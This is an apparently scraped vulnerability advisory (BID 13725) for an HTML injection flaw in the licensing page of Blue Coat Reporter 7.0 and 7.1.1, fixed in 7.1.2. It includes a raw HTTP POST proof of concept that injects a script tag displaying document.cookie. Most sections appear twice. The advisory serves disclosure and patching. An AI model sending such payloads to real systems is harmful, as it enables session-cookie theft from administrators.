Blue Coat Reporter License HTML Injection Vulnerability
BID:13725
Info
Blue Coat Reporter License HTML Injection Vulnerability
| Bugtraq ID: | 13725 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 24 2005 12:00AM |
| Updated: | May 24 2005 12:00AM |
| Credit: | "Oliver Karow" <[email protected]> is credited with the discovery of this vulnerability. |
| Vulnerable: |
Blue Coat Systems Blue Coat Reporter 7.1.1 .1 Blue Coat Systems Blue Coat Reporter 7.0 |
| Not Vulnerable: |
Blue Coat Systems Blue Coat Reporter 7.1.2 |
Discussion
Blue Coat Reporter License HTML Injection Vulnerability
Blue Coat Reporter is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
The vendor has addressed this issue in the upcoming version 7.1.2 of the application; earlier versions are reported vulnerable.
Blue Coat Reporter is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
The vendor has addressed this issue in the upcoming version 7.1.2 of the application; earlier versions are reported vulnerable.
Exploit / POC
Blue Coat Reporter License HTML Injection Vulnerability
No exploit is required.
The following proof of concept is available:
POST
/?dp+templates.admin.authentication.licensing_view+volatile.admin_gui+true
HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword,
application/x-shockwave-flash, */*
Referer:
http://www.example.com:8987/?dp+templates.admin.authentication.licensing_view+volatile.admin_gui+true
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.example.com:8987
Pragma: no-cache
Cookie: session_id=invalid; authusername7=invalid; authpassword7=invalid
Content-Length: 100
volatile.add_license=&volatile.license_to_add=<script>alert(document.cookie)</script>
No exploit is required.
The following proof of concept is available:
POST
/?dp+templates.admin.authentication.licensing_view+volatile.admin_gui+true
HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword,
application/x-shockwave-flash, */*
Referer:
http://www.example.com:8987/?dp+templates.admin.authentication.licensing_view+volatile.admin_gui+true
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.example.com:8987
Pragma: no-cache
Cookie: session_id=invalid; authusername7=invalid; authpassword7=invalid
Content-Length: 100
volatile.add_license=&volatile.license_to_add=<script>alert(document.cookie)</script>
Solution / Fix
Blue Coat Reporter License HTML Injection Vulnerability
Solution:
The vendor has addressed this issue in the upcoming version 7.1.2 of the application.
Solution:
The vendor has addressed this issue in the upcoming version 7.1.2 of the application.
References
Blue Coat Reporter License HTML Injection Vulnerability
References:
References:
- Blue Coat Reporter Homepage (Blue Coat Systems)
- Blue Coat Systems Homepage (Blue Coat Systems)
- Security Advisory: Blue Coat Reporter Vulnerabilities (Blue Coat Systems)
- Blue Coat Reporter multiple remote vulnerabilities ("Oliver Karow"